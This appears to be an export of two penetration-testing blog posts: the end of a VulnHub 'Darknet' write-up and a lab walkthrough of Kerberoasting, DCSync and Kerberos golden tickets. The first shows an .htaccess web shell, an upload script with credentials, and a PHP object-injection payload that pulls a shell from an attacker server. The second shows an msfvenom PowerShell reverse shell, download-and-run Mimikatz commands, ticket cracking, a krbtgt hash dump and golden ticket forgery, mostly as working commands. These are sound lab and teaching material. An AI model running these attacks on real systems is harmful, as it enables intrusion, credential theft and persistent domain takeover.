a PHP script would return the error Formato invalido! Things like images (or almost anything that was not useful) responded with Subida exitosa!\nI managed to discover a uploads/ directory with gobuster again that helped me locate the uploaded files that I was uploading. The filenames appeared to remain intact which made things a little easier. But, this did not help me. I really hoped for some code execution.\nfast forward even more hours\nEventually, I came across some PHP file upload bypass techniques that involve .htaccess files. The premise being that if its possible to write/overwrite a folders .htaccess, then it may be possible to add a tiny backdoor shell to a folder. Sneaky! The only real requirement was that the VirtualHost configuration had to allow for .htaccess files to be read. As I had already downloaded the configuration file for signal8.darknet.com, I could quickly see that AllowOverride was set to All. Fantastic!\nI picked a shell from the https://github.com/wireghoul/htshells repository here. From my previous testing, I wrote a small uploader so that I wouldn\u0026rsquo;t have to click those checkboxes all the time.\nimport requests import sys import os.path as path s = requests.Session() def w(text): sys.stdout.write('\\r' + text) sys.stdout.flush() print('[+] Logging in ...') s.post('http://signal8.darknet.com/xpanel/index.php', data={ 'username': 'errorlevel', 'password': 'tc65Igkq6DF', }) print('[+] Uploading : {file}'.format(file=sys.argv[1])) r = s.post('http://signal8.darknet.com/xpanel/ploy.php', files={'imag': open(sys.argv[1], 'rb')}, data={ 'checkbox[]': [37, 10, 59, 17], 'Action': 'Upload', }) if 'Subida exitosa' in r.text: print('[+] Upload successful! Try: http://signal8.darknet' '.com/xpanel/uploads/{file}'.format(file=path.basename(sys.argv[1]))) elif 'Formato invalido' in r.text: print('[!] Upload failed. Invalid format.') else: print('[!] Upload failed, unknown error.') All I had to do was runt his script, providing the filename that I want to upload and viola.\nroot@kali:~/data/VulnHub/Darknet# python bruteUploader.py .htaccess [+] Logging in ... [+] Uploading : .htaccess [+] Upload successful! Try: http://signal8.darknet.com/xpanel/uploads/.htaccess Once uploaded, I browsed to the location and was met with what looks like some code execution again!\n  As expected, the OS command execution does not work due to all those disable_functions, but we have PHP code execution so that was a start! I decided that for this one I wanted to try get a more fully featured shell working. So, I edited the .htaccess to include a web shell that I was working quite some time ago (and finally kinda finished). I packed the shell and replaced the PHP in the .htaccess with the more fully featured shells packed source.\n# \u0026lt;!-- Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul - http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web \u0026lt;Files ~ \u0026quot;^\\.ht\u0026quot;\u0026gt; # Uncomment the line below for Apache2.4 and newer # Require all granted Order allow,deny Allow from all \u0026lt;/Files\u0026gt; # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ###### SHELL ###### --\u0026gt;\u0026lt;?php eval(base64_decode(\u0026quot;LONG BASE64 ENCODED STRING\u0026quot;)); Uploaded this with my upload helper and boom, a better shell.\n  the last hurdle(s) Wtf. The current user is errorlevel\u0026hellip; I double checked and saw that previously we were the devnull user. This had me pretty confused in the beginning and had me spend quite a bit of time to figure out how this is possible. From the phpinfo() output we had no open_basedir restriction so that allowed me to move around the filesystem much more freely than before. I also noticed that I am not able to access the home directory for the errorlevel user so I couldn\u0026rsquo;t really figure out what was going on in there (the red color indicates read/write is not possible).\n  Eventually, I discovered the use of suPHP as a loaded module. This basically means that the PHP script will run as the owner of the file. So with that theory, its sane to assume that because errorlevel owns the PHP files in the users home directory, that is why I am seen as that user too.\nAnyways, some more enumeration later, I discover some more PHP scripts in /var/www. These were owned by root, meaning that if there are any vulnerabilities, I could effectively become root!\n  Due to the fact that these were in /var/www, I could just browse to the IP address of the VM and run these scripts. Calling the sec.php script caused the server to return an HTTP 500 error.\n  As I was able to read the files in /var/www, I also downloaded sec.php to get an idea of what its supposed to be doing.\n\u0026lt;?php require \u0026quot;Classes/Test.php\u0026quot;; require \u0026quot;Classes/Show.php\u0026quot;; if(!empty($_POST['test'])){ $d=$_POST['test']; $j=unserialize($d); echo $j; } ?\u0026gt; The call to unserialize() immediately hinted me towards what the next step would need to be. I continued to download the files that are required in the Classes/ folder.\nTest.php\n\u0026lt;?php class Test { public $url; public $name_file; public $path; function __destruct(){ $data=file_get_contents($this-\u0026gt;url); $f=fopen($this-\u0026gt;path.\u0026quot;/\u0026quot;.$this-\u0026gt;name_file, \u0026quot;w\u0026quot;); fwrite($f, $data); fclose($f); chmod($this-\u0026gt;path.\u0026quot;/\u0026quot;.$this-\u0026gt;name_file, 0644); } } ?\u0026gt; Show.php\n\u0026lt;?php class Show { public $woot; function __toString(){ return \u0026quot;Showme\u0026quot;; } function Pwnme(){ $this-\u0026gt;woot=\u0026quot;ROOT\u0026quot;; } } ?\u0026gt; A textbook example of PHP Object Injection! I continued to serialize an instance of of the Show class by copying the class into a new PHP file, instantiating the Show class and running the serialize() function over it, printing the output.\n// Source code for poishow.php \u0026lt;?php class Show { public $woot; function __toString(){ return \u0026quot;Showme\u0026quot;; } function Pwnme(){ $this-\u0026gt;woot=\u0026quot;ROOT\u0026quot;; } } print_r(serialize(new Show())); Running this with a PHP interpreter printed the serialized string.\nroot@kali:~/data/VulnHub/Darknet# php poishow.php O:4:\u0026quot;Show\u0026quot;:1:{s:4:\u0026quot;woot\u0026quot;;N;} I now had something I could use to try and test the vulnerability. For the Show class, we are going to leverage the __toString() method defined when sec.php calls echo on the variable containing the unserialized object. I write yet another python helper to send the serialized objects to the sec.php as a POST parameter. This was mostly because I was too lazy to deal with my shell and escaping the quotes etc. :)\nimport requests OBJECT = \u0026quot;\u0026quot;\u0026quot;O:4:\u0026quot;Show\u0026quot;:1:{s:4:\u0026quot;woot\u0026quot;;N;}\u0026quot;\u0026quot;\u0026quot; print('[+] Exploiting the PHP Object Injection Bug') r = requests.post('http://192.168.252.140/sec.php', data={'test': OBJECT}) print r.status_code print r.text Running this made the server still respond with an HTTP 500 error. Hmm. I was stuck here for quite some time trying to figure out if I can get some form of logging somewhere that I can read. At some stage, I came across /etc/suphp and realized that the configuration file for it is writable.\n  The suphp.conf file had an entry logfile=/var/log/suphp/suphp.log which I changed to log to /tmp, hoping for it to reveal some information about the error code I was getting. To do this, I downloaded the file, modified the entry, and used my web shell\u0026rsquo;s upload functionality to override the original configuration file. This worked just fine, apart from the fact that that logfile too was not readable by me :(\nSome time later, I realized that there were two more configuration options in the configuration file that are of interest.\n; Minimum UID min_uid=100 ; Minimum GID min_gid=100 Remember that the PHP scripts we are trying to access are owned by root? Turns out that this is a security feature of suPHP to prevent scripts with too high permissions to run. So, I modify the configuration file again to replace the values with 0 and upload it to override the original.\n  This time, when I try and access the sec.php script, I am provided with no output. Great! Back to the original Object Injection that I was trying to exploit, I rerun my python script to test the unserialize().\nroot@kali:~/data/VulnHub/Darknet# python phpObjectInjection.py [+] Exploiting the PHP Object Injection Bug 200 Showme The Showme output is expected as the __toString() method is set to return this when the class should be represented as a string. Neat.\nThe next step was then to serialize an object with my desired values for the Test class\u0026rsquo;s properties. Following the logic of the __destruct() method, it was clear to see that it would call a URL, write the contents to file and chmod the file accordingly. To do this, I added the Test class and set the values in my original script.\n\u0026lt;?php class Show { public $woot; function __toString(){ return \u0026quot;Showme\u0026quot;; } function Pwnme(){ $this-\u0026gt;woot=\u0026quot;ROOT\u0026quot;; } } class Test { public $url; public $name_file; public $path; function __destruct(){ # Commented out as this will run when this script # also finishes :D #$data=file_get_contents($this-\u0026gt;url); #$f=fopen($this-\u0026gt;path.\u0026quot;/\u0026quot;.$this-\u0026gt;name_file, \u0026quot;w\u0026quot;); #fwrite($f, $data); #fclose($f); #chmod($this-\u0026gt;path.\u0026quot;/\u0026quot;.$this-\u0026gt;name_file, 0644); } } $test = new Test(); $test-\u0026gt;url = 'http://192.168.252.1:8000/shell.txt'; $test-\u0026gt;name_file = 'pop.php'; $test-\u0026gt;path = '/var/www'; print_r(serialize([$test, new Show()])); Running this would then print out the serialized versions of the two classes in question.\nroot@kali:~/data/VulnHub/Darknet# php poi.php a:2:{i:0;O:4:\u0026quot;Test\u0026quot;:3:{s:3:\u0026quot;url\u0026quot;;s:35:\u0026quot;http://192.168.252.1:8000/shell.txt\u0026quot;;s:9:\u0026quot;name_file\u0026quot;;s:7:\u0026quot;pop.php\u0026quot;;s:4:\u0026quot;path\u0026quot;;s:8:\u0026quot;/var/www\u0026quot;;}i:1;O:4:\u0026quot;Show\u0026quot;:1:{s:4:\u0026quot;woot\u0026quot;;N;}} The only thing that is left to do is host the shell.txt file at the location specified in the $url property and run the little python helper with the new serialized string. I started up a HTTP server with python -m SimpleHTTPServer and wrote my web shell to shell.txt. The python helper was changed so that OBJECT had the new serialized string.\nOBJECT = \u0026quot;\u0026quot;\u0026quot;a:2:{i:0;O:4:\u0026quot;Test\u0026quot;:3:{s:3:\u0026quot;url\u0026quot;;s:35:\u0026quot;http://192.168.252.1:8000/shell.txt\u0026quot;;s:9:\u0026quot;name_file\u0026quot;;s:7:\u0026quot;pop.php\u0026quot;;s:4:\u0026quot;path\u0026quot;;s:8:\u0026quot;/var/www\u0026quot;;}i:1;O:4:\u0026quot;Show\u0026quot;:1:{s:4:\u0026quot;woot\u0026quot;;N;}}\u0026quot;\u0026quot;\u0026quot; I ran the helper and saw that the shell.txt was downloaded from my web server. I could now browse to http://192.168.252.140/pop.php :D\nflag Using the shell uploaded, I was finally able to cat the flag!\n  final thoughts I went back to a few of the source files to get an idea for whats going on once the box was rooted. The first being the weirdness when I tried to brute force the first elements of the node in the XPath injection. Turns out, a preg_match() was applied to filter out a few inputs.\nif(!empty($_GET['id'])){ $id=$_GET['id']; if(preg_match('/\\*/', $id)){ exit(); } Next, the original SQL injection bug was also filtering out some input.\nif(preg_match(\u0026quot;/select|and|[\u0026gt;,=\u0026lt;\\-;]/\u0026quot;, $user)){ echo \u0026quot;Ilegal\u0026quot;; exit(); In the end, I learnt a lot! Thanks @Q3rv0\n","permalink":"https://leonjza.github.io/blog/2016/06/16/rooting-darknet/","summary":"\u003cp\u003eIts been a while since I have done a vulnerable boot2root from \u003ca href=\"https://twitter.com/vulnhub\"\u003e@VulnHub\u003c/a\u003e. So, I decided to pick up where I last left. After paging back from the latest VM\u0026rsquo;s to where I roughly stopped last year, my attention was drawn to \u003ca href=\"https://www.vulnhub.com/entry/darknet-10,120/\"\u003eDarknet\u003c/a\u003e by \u003ca href=\"https://twitter.com/Q3rv0\"\u003e@Q3rv0\u003c/a\u003e.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/darknet_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThis is how I managed to solve a VM that totally kicked my ass! While I was solving this VM, I also tried out a Kali Docker image! This actually worked out great.\u003c/p\u003e","title":"rooting darknet"},{"content":"  Active Directory is almost always in scope for many pentests. There is sometimes a competitive nature amongst pentesters where the challenge is to see who can set a new record for gaining Domain Administrative privileges the fastest. How sad its that?\nThe reality is, many times, the escalation processes is trivial. Pwn some workstation with admin creds, grab credentials out of lsass and pass the hash to move around laterally. This has been the typical breakfast of many pentesters. Heck, there are even attempts to automate this type of process because, personally, I feel its getting pretty old. Yet, its still very viable as an attack method due to its high success rate!\nThis post however tries to look at it from a little fresher perspective. There are many posts like this out there, but this one is mine. Mostly just a brain dump that I can refer to later. Many others have written this up (maybe even in greater detail), so definitely have a look around!\nlets set the scene Kerberos, a network authentication protocol that works off a ticketing type system is deeply baked into Active Directory. Of late, a lot more focus has been put on it by the offensive security community as you will see later in this post. I am not going to go into much (if any) of the technicalities of Kerberos itself as I feel there really is more than enough resources out there you can refer to! The below list references some great posts about the same topic I am writing about there:\n https://en.wikipedia.org/wiki/Kerberos_(protocol) https://technet.microsoft.com/en-us/library/cc772815(v=ws.10).aspx http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/ https://adsecurity.org/?p=2362  For all of the attacks detailed here, I have a relatively simple setup in a lab. One (Server 2012) Domain Controller for the foo.local domain. Two client PCs joined to the domain running Windows 7 and Windows 10. Another IIS Web server running on Server 2012 Core also joined to the domain and Kali Linux \u0026lsquo;attacker\u0026rsquo; on the same subnet as all of these Windows computers.\nOne key piece of the puzzle I am leaving out is how the initial shell was obtained. This could have happened a variety of ways and will probably always be different with every engagement. Lets just assume that I have a meterpreter shell as a non privileged domain user on the Windows 10 client PC.\n  One last bit of scene setting I think is important is to state the fact that we are going to try and be as quiet as possible now that we have the meterpreter shell up.\nspn scanning - the setup One of the avenues we can pursue now is to query Active Directory for objects that have a Service Principal Name set.\n A service principal name (SPN) is the name by which a client uniquely identifies an instance of a service. If you install multiple instances of a service on computers throughout a forest, each instance must have its own SPN.\n Basically, what this means is that someone went and configured a SPN for a service account that is used by multiple by instances of a service. Each of the client PC\u0026rsquo;s in my lab are running an instance of SQL Server 2014 Express, configured to run with the svcSQLServ domain service account.\n When a client wants to connect to a service, it locates an instance of the service, composes an SPN for that instance, connects to the service, and presents the SPN for the service to authenticate.\n On my domain controller, I configured the SPN\u0026rsquo;s with the following commands:\nPS C:\\\u0026gt; setspn -A svcSQLServ/pc1.foo.local:1433 foo\\svcSQLServ Checking domain DC=foo,DC=local Registering ServicePrincipalNames for CN=SQL Server,OU=Service Accounts,DC=foo,DC=local svcSQLServ/pc1.foo.local:1433 Updated object PS C:\\\u0026gt; setspn -A svcSQLServ/pc2.foo.local:1433 foo\\svcSQLServ Checking domain DC=foo,DC=local Registering ServicePrincipalNames for CN=SQL Server,OU=Service Accounts,DC=foo,DC=local svcSQLServ/pc2.foo.local:1433 Updated object spn scanning - the offensive perspective Right, with the configuration done, lets put on our offensive hats and try and abuse this. I think one thing that one should realize is that this is a very nice way to get a free port scan done too. You will see in a moment. =]\nReading some posts and stuff online, I have found a PowerShell module that will prep the LDAP lookup and scan for SPNs for you here. The gist of it is this LDAP search (\u0026amp;(objectcategory=user)(serviceprincipalname=*)).\nTo use the powershell module, the easiest will be to get an interactive powershell session up and running. If you have ever tried this from meterpreter, you will know that if you try and spawn powershell.exe from a cmd shell, you will not get anywhere. Very frustrating. Its not impossible though! We are however going to go through the efforts of getting a working PowerShell session up as we will be using it extensively throughout this post.\nsetup a powershell connection We can use the meterpreter session to get a powershell session. First, we will create a payload to execute as a script using the exec_powershell post module. In a new terminal, run msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.138.150 LPORT=4445 -t raw:\nroot@kali:~# msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.138.150 LPORT=4445 -t raw No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 1727 bytes ���`��1�d�P0�R \u0001�8�u�\u0003}�;}$u�X�X$\u0001�f�Y \u0001ӋI\u0018�:I�4�\u0001�1���� K�X\u001c\u0001Ӌ\u0004�\u0001ЉD$$[[aYZQ��__Z�\u0012��]j\u0001���Ph1�o��ջ���Vh������\u0026lt;\u0006| ���u�G\u0013rojS��powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $($s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(\u0026#39;H4sIABX0kF ... snip ... AAA=\u0026#39;));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();) This will give you the raw payload you need to run to get a remote powershell shell. Copy the output from IEX all the way to ReadToEnd();) and paste that in a new file (I used /root/power-shell.ps1).\nNow, back at your metasploit session, background the meterpreter session and setup a new exploit/multi/handler for the windows/powershell_reverse_tcp payload. When you issue the exploit command, add -j so that the job will run in the background as we have one more thing to do before it will connect back.\n  Fantastic. We are ready to accept the powershell connection! The last thing left to do is to execute the script we generated earlier with msfvenom! Use the exec_powershell post module and configure it to pickup the script where ever you placed it on disk:\n  With the module configured to use the meterpreter session we originally got, as well as our exploit handler waiting in the background for the powershell connection, we issue the run command and hope it works!\n   Powershell session session 3 opened\n Ok, that was a lot of work, but now we have the environment we need to get on with the SPN scanning! Simply interact with the session that spawned.\nThe next thing we want to do is get the Find-PSServiceAccounts PowerShell function into the environment. The script lives here. Thankfully, we can kind of include functions into the current session by using the powershell Invoke-Expression cmdlet for a new Net.WebClient object. To do that we run:\nInvoke-Expression (New-Object Net.Webclient).downloadstring('https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Find-PSServiceAccounts') Thats it. We can now just run the method!!\n  We have just discovered the service account svcSQLServ and 2 hosts there it is in use! The script also accepts a few arguments, such as -DumpSPN:\nPS C:\\\u0026gt; Find-PSServiceAccounts -DumpSPN Discovering service account SPNs in the AD Domain foo.local svcSQLServ/pc1.foo.local:1433 svcSQLServ/pc2.foo.local:1433 PS C:\\Users\\bobs\\Downloads\u0026gt; This is the part where I remind you about the free port scan I mentioned earlier. Notice how we have discovered services, ports and accounts running them using just a LDAP query. I highly doubt that will trigger many monitoring tools out there!\nkerberos service tickets We now have 2 SPN\u0026rsquo;s that we managed to query off the domain. svcSQLServ/pc1.foo.local:1433 \u0026amp; svcSQLServ/pc2.foo.local:1433. In order for clients to be able to authenticate to the services running as this user via kerberos, they would typically go through the process of requesting a service ticket.\nThis is where you need to pay attention. The service ticket is encrypted using the secret key (read, \u0026lsquo;password\u0026rsquo;) of the account used in the SPN (svcSQLServ in this case)! The server never checks if the ticket ever went through the entire process of actually being used, it just happily generates them for whoever asks\u0026hellip; Note, the server hosting the service will still validate the ticket itself (99% of the time without rechecking the ticket with the Kerberos server).\nWhat does that mean for an attacker? Well, we can request the service ticket\u0026hellip; and\u0026hellip; attempt to decrypt it by brute forcing it offline! If the decryption is successful, then we have successfully compromised a service account.\nenter kerberoast Kerberoast is a tool that can amongst other things, crack Kerberos ticket passwords. The general idea is that we get the SPN\u0026rsquo;s (like we did), request kerberos service tickets for them, dump the ticket out of memory and send it to the tgsrepcrack.py script to crack against a wordlist.\nAll of this can be done as a normal domain user and does not require any elevated privileges. To assist us in dumping kerberos tickets out of memory, we are going to load mimikatz by using Invoke-Mimikatz (from the PowerSploit Repository). This method has a very small to no chance of getting detected by AV atm. Lets get that loaded:\nPS C:\\\u0026gt; Invoke-Expression (New-Object Net.Webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1') PS C:\\\u0026gt; Invoke-Mimikatz .#####. mimikatz 2.0 alpha (x64) release \u0026quot;Kiwi en C\u0026quot; (Dec 14 2015 19:16:34) .## ^ ##. ## / \\ ## /* * * ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 17 modules * * */ mimikatz(powershell) # sekurlsa::logonpasswords ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) mimikatz(powershell) # exit Bye! Just running Invoke-Mimikatz might not be entirely opsec safe as, by default, it will run the sekurlsa::logonpasswords command (which may trigger some monitoring). You may have also noticed the LOAD_MODULES setting in the windows/powershell_reverse_tcp payload. Here we can actually give it the URL\u0026rsquo;s we are going to load with Invoke-Expression and metasploit will download and prep that for you! :)\nAnyways, lets check the current cached kerberos tickets that we have for this session.\nPS C:\\\u0026gt; Invoke-Mimikatz -Command '\u0026quot;kerberos::list\u0026quot;' .#####. mimikatz 2.0 alpha (x64) release \u0026quot;Kiwi en C\u0026quot; (Dec 14 2015 19:16:34) .## ^ ##. ## / \\ ## /* * * ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 17 modules * * */ mimikatz(powershell) # kerberos::list PS C:\\\u0026gt; Looks like there are no cached Kerberos tickets for this session. This can also be checked by running the klist command:\nPS C:\\\u0026gt; klist Current LogonId is 0:0x3fde2 Cached Tickets: (0) PS C:\\\u0026gt; If you had tickets here, you can purge them from memory by running Invoke-Mimikatz -Command '\u0026quot;kerberos::purge\u0026quot;'. Lets request a service ticket for the svcSQLServ/pc1.foo.local:1433 SPN (The command syntax can be seen in the Kerberoast repository):\nPS C:\\\u0026gt; Add-Type -AssemblyName System.IdentityModel PS C:\\\u0026gt; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \u0026quot;svcSQLServ/pc1.foo.local:1433\u0026quot; Id : uuid-33208c1c-6f30-441f-af50-94ba72a2ed7b-1 SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey} ValidFrom : 1/9/2016 7:29:11 PM ValidTo : 1/10/2016 5:29:11 AM ServicePrincipalName : svcSQLServ/pc1.foo.local:1433 SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey PS C:\\\u0026gt; If you wanted to get tickets for all of the possible SPN\u0026rsquo;s, we could have run the below command that will loop over the results from Find-PSServiceAccounts and request a ticket for each:\nPS C:\\\u0026gt; Add-Type -AssemblyName System.IdentityModel PS C:\\\u0026gt; Find-PSServiceAccounts -DumpSPNs | ForEach-Object { New-Object System.Identity Model.Tokens.KerberosRequestorSecurityToken -ArgumentList $_ } Now, if we recheck the tickets we have for this session, we can see that we have one for svcSQLServ:\n  dumping kerberos tickets from memory Remember, all of the actions performed thus far have been as a normal AD user with no special privileges. With the tickets now in memory, we can dump them to a file using mimikatz again. The mimikatz command we will use for this is kerberos::list /export:\n  1-40a10000-bobs@svcSQLServ~pc1.foo.local~1433-FOO.LOCAL.kirbi is the Kerberos ticket dumped to disk! We can now transfer this to some place where we have Kerberoast downloaded and start cracking it! :D\ncracking the kerberos ticket Back at my meterpreter session, we can simply download the ticket locally, and start the crack. tgsrepcrack.py allows you to specify tickets with a wildcard, so it will run the wordlist recursively over all of the tickets in a directory.\nSo download the ticket\u0026hellip;\nmeterpreter \u0026gt; cd downloads/kerb meterpreter \u0026gt; ls Listing: C:\\users\\bobs\\downloads\\kerb ===================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 1260 fil 2016-01-09 14:35:09 -0500 0-40e10000-bobs@krbtgt~FOO.LOCAL-FOO.LOCAL.kirbi 100666/rw-rw-rw- 1364 fil 2016-01-09 14:35:09 -0500 1-40a10000-bobs@svcSQLServ~pc1.foo.local~1433-FOO.LOCAL.kirbi meterpreter \u0026gt; download 1-40a10000-bobs@svcSQLServ~pc1.foo.local~1433-FOO.LOCAL.kirbi /root/ [*] downloading: 1-40a10000-bobs@svcSQLServ~pc1.foo.local~1433-FOO.LOCAL.kirbi -\u0026gt; /root//1-40a10000-bobs@svcSQLServ~pc1.foo.local~1433-FOO.LOCAL.kirbi [*] download : 1-40a10000-bobs@svcSQLServ~pc1.foo.local~1433-FOO.LOCAL.kirbi -\u0026gt; /root//1-40a10000-bobs@svcSQLServ~pc1.foo.local~1433-FOO.LOCAL.kirbi \u0026hellip; and crack it!\nroot@kali:~/kerberoast# python tgsrepcrack.py /usr/share/wordlists/fasttrack.txt /root/1-40a10000-bobs@svcSQLServ~pc1.foo.local~1433-FOO.LOCAL.kirbi found password for ticket 0: Password1 File: /root/1-40a10000-bobs@svcSQLServ~pc1.foo.local~1433-FOO.LOCAL.kirbi All tickets cracked! Password1 is the password for the svcSQLServ account! \\o/\nOne reason why having the password for this account is especially bad is because of its group memberships\u0026hellip; Yes, I know. You may not easily see this in real life, but just bear with me for now.\nPS C:\\\u0026gt; net user svcSQLServ /domain The request will be processed at a domain controller for domain foo.local. User name svcSQLServ Full Name SQL Server Comment SQL Server Serice Account User\u0026#39;s comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 1/7/2016 11:38:02 PM Password expires Never Password changeable 1/8/2016 11:38:02 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 1/9/2016 10:33:41 AM Logon hours allowed All Local Group Memberships Global Group memberships *Domain Users *Domain Admins The command completed successfully. PS C:\\\u0026gt; testing the credentials For a bit of fun, lets test the credentials we just got using PowerShell Remoting. PowerShell Remoting is on by default on Server 2012 I believe.\nWe will start by configuring a credentials object, and then just run the Get-Process cmdlet on the domain controller as proof.\n$pass = \u0026#39;Password1\u0026#39; | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList \u0026#39;svcSQLServ\u0026#39;, $pass Invoke-Command -ScriptBlock {get-process} -ComputerName dc1 -Credential $creds With output\u0026hellip;\n  So, we popped a service account with waaaay too much permissions and a crappy password. All that as a normal AD user\u0026hellip;\ngolden tickets We have domain administrative rights now. There is nothing left to do, we can write the pentest report and go home. Or can we? Well yes, but what if the password to svcSQLServ changes? That would mean we lose access! One way we can prevent this is by creating a golden ticket that we can re-use to grant ourselves whatever permission we like, as any user we like! Sounds great eh :D\nTo create a golden ticket, we can use either the kiwi extension in metasploit, or Invoke-Mimikatz again! There are however a few prerequisites that we need to satisfy for golden tickets. The most important being that we need at least the NT hash of the krbtgt user of the domain. Without that, this is not a viable persistence strategy.\nThe complete list of prerequisites are:\n The Domains FQDN The Domains SID The krbtgt accounts NT hash A username (fake or real, does not matter. Not fake if you need opsec ofc!)  Getting the FQDN and SID (whoami /user) of the Domain should be relatively trivial. Remember to grab the SID without the trailing RID. So if the full SID is S-1-5-21-2222611480-1876485831-1594900117-1104 then you are only going to use S-1-5-21-2222611480-1876485831-1594900117.\nGetting the NT Hash of the krbtgt account though is something I want to show using a recent feature addition to mimikatz, DCSync. The gist of it is that its possible to extract hashes from a Domain Controller (using a domain admin type account), without actually running any code on the Domain Controller itself! This is of course not the only way to get the required hash. Many of the older techniques work just fine. But, from a DCSync perspective, it essentially means hash extraction from any PC on the domain (authenticated as a admin), by ‘faking’ being a Domain Controller and triggering some replication-fu! In my case, I struggled a little to get this replication done from a client PC in the lab via the metasploit interactive PowerShell session, but could do it successfully from a client PC via the console. So, its definitely possible!\nIn this case, to use the DCSync feature of mimikatz, I am going to use PowerShell Remoting to run commands. Unfortunately, due to the way Enter-PSSession sets up the shell, I can\u0026rsquo;t seem to get an interactive shell as another user going without using another exploit \u0026amp;\u0026amp; payload combination. So, we are just going to use Invoke-Command with our commands.\nPS C:\\\u0026gt; $creds UserName Password -------- -------- svcSQLServ System.Security.SecureString PS C:\\\u0026gt; Invoke-Command -ScriptBlock {Write-Output $env:username} -Credential $creds -ComputerName dc1 svcSQLServ Great so that works. To continue, we are going to have to run a few commands:\n Invoke-Expression to get mimikatz Run Invoke-Mimikatz with lsadump::dcsync /user:krbtgt and its required parameters Dance!  I constructed my command that needed to be run on my PowerShell session and ended up with this:\nInvoke-Command -ScriptBlock {Invoke-Expression (New-Object Net.Webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '\u0026quot;lsadump::dcsync /user:krbtgt\u0026quot;'} -Credential $creds -ComputerName dc1 Let me try explain what is going on here. I am saying, Invoke-Command on the computer dc1 as svcSQLServ (stored in the $creds variable) using PowerShell Remoting. The command to run is defined in the ScriptBlock {} which is i) download mimikatz ii) run Invoke-Mimikatz with the lsadump::dcsync /user:krbtgt command.\n  We have the hash for krbtgt! 95a11f7d93fa3a5a61073662e6bd8468 : D That means I have everything I need to create a golden ticket, with all the access in the world! To summarize, my prerequisites are satisfied with the following values:\n The Domains FQDN. foo.local The Domains SID. S-1-5-21-2222611480-1876485831-1594900117 The krbtgt accounts NT hash. 95a11f7d93fa3a5a61073662e6bd8468 A username (fake or real, does not matter. Not fake if you need opsec ofc!). darthvader  creating the golden ticket Creating the golden ticket is now a really simple task. We will simply call Invoke-Mimikatz again to generate the ticket. It will be saved to disk when it is generated. Thereafter, we will purge all the tickets we have for the session, and inject the golden ticket and test our access!\nFor details about the command and arguments required, I referred to the mimikatz wiki and replicated that. Our command should look something like the below, saving our golden ticket to golden.tck with access to a few builtin Windows Groups:\nkerberos::golden /user:darthvader /domain:foo.local /sid:S-1-5-21-2222611480-1876485831-1594900117 /krbtgt:95a11f7d93fa3a5a61073662e6bd8468 /ticket:golden.tck /groups:501,502,513,512,520,518,519 Running this mimikatz command with Invoke-Mimikatz gets us our Golden Ticket:\n  injecting the golden ticket The final test is to use this ticket. For that, we will purge all Kerberos tickets in memory and inject the new golden ticket. Thereafter we will test if we can read the administrative c$ share of the Domain Controller!\nLets purge the currently cached Kerberos tickets first:\nPS C:\\users\\bobs\\downloads\\golden\u0026gt; Invoke-Mimikatz -Command \u0026#39;\u0026#34;kerberos::purge\u0026#34;\u0026#39; [... snip ...] mimikatz(powershell) # kerberos::purge Ticket(s) purge for current session is OK Next, we inject the golden ticket we created using the mimikatz kerberos::ptt command to \u0026lsquo;Pass The Ticket\u0026rsquo;:\n  After the ticket is injected into memory, we can verify its existence with the mimikaz kerberos::list command, or just using klist. Once it is injected, we dir the Domain Controllers c$ share\u0026hellip; an smile. The password for scvSQLServ can now change, it will no longer bother us!\n  conclusion In this post we saw how it is possible to \u0026lsquo;crack\u0026rsquo; badly passworded and configured service accounts by querying for accounts by Service Principal Names. Those SPN\u0026rsquo;s were then used to request Service Tickets from the Domain Controller, extracted from memory and cracked offline. All of that as a normal domain user.\nThen, we explored how it is possible to extract Domain Account hashes using the mimikatz DCSync feature and generate a Kerberos Golden Ticket with high access levels in the domain.\nI think there is still a loooong road ahead for the Microsoft Kerberos Implementations\u0026hellip; Until they \u0026lsquo;fix\u0026rsquo; this stuff, things should remain interesting for quite some time to come.\n","permalink":"https://leonjza.github.io/blog/2016/01/09/kerberos-kerberoast-and-golden-tickets/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/kerberos_golden_ticket_active_directory_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eActive Directory is almost always in scope for many pentests. There is sometimes a competitive nature amongst pentesters where the challenge is to see who can set a new record for gaining Domain Administrative privileges the fastest. How sad its that?\u003c/p\u003e\n\u003cp\u003eThe reality is, \u003cem\u003emany\u003c/em\u003e times, the escalation processes is trivial. Pwn some workstation with admin creds, grab credentials out 